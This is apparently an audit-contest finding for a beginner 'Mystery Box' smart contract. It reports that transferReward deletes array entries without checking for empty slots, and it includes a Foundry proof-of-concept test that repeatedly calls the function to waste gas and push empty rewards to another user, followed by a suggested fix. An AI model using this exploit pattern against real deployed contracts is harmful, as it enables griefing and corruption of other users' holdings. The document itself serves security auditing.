Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Denial of Service (DoS) in 'transferReward' Function

silverwind

Summary

transferReward function improperly handles deleted elements in an array, enabling malicious actors to repeatedly drain gas by executing unnecessary transfers of default values, thereby congesting the network.

Vulnerability Details

Relevant code - transferReward

In the transferReward function, when the delete operation is performed, the length of the rewardsOwned array remains unchanged. This allows an attacker to repeatedly invoke the function with the same index, bypassing the require statement. As a result, the attacker can push the same element to rewardsOwned multiple times. Since the element was already transferred, subsequent calls will lead to the addition of default values to the rewardsOwned array. This exploitation can keep the system busy. Also allowing the attacker to manipulate the rewardsOwned values of any user and lead to overflow.

POC

In existing test suite, add following test:

function testTransferRewardAttack() public {
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
​
assertEq(mysteryBox.boxesOwned(user1) , 2);
​
mysteryBox.openBox();
mysteryBox.openBox();
​
assertEq(mysteryBox.boxesOwned(user1) , 0);
​
mysteryBox.transferReward(user2, 1);
// Sending the element which is in the same index as before.
mysteryBox.transferReward(user2, 1);
​
vm.stopPrank();
​
vm.startPrank(user2);
MysteryBox.Reward[] memory array2 = mysteryBox.getRewards();
​
for(uint256 i ; i < array2.length ; i++){
console.log("The element", i , "is" , array2[i].name);
}
​
vm.stopPrank();
​
vm.startPrank(user1);
​
//Measures how many times the attacker called the transferReward.
uint256 counter;
//Repeating the same transaction and keeping the system busy.
while(gasleft() > 10000){
mysteryBox.transferReward(user2, 1);
counter++;
}
console.log("Counter:" , counter);
console.log("The gas left:", gasleft());
vm.stopPrank();
​
}

run forge test --match-test testTransferRewardAttack -vv in the terminal and it will return following output:

[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 945.34ms
Compiler run successful!
​
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testTransferRewardAttack() (gas: 1073679751)
Logs:
The element 0 is Coal
The element 1 is
Counter: 135545
The gas left: 2280
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 912.74ms (905.10ms CPU time)

Impact

The attack can lead to denial of service, increased transaction costs, overflow issues and degradation of user experience.

Tools Used

Manual Review, Foundry

Recommendations

function transferReward(address _to, uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
// Check if the reward at the specified index is not a default value
+ Reward memory reward = rewardsOwned[msg.sender][_index];
+ require(bytes(reward.name).length > 0 && reward.value > 0, "Reward is already claimed or invalid");
​
rewardsOwned[_to].push(reward);
delete rewardsOwned[msg.sender][_index];
}
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

A user can poison the `rewardsOwned` of another user via `transferReward` of an empty reward index

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.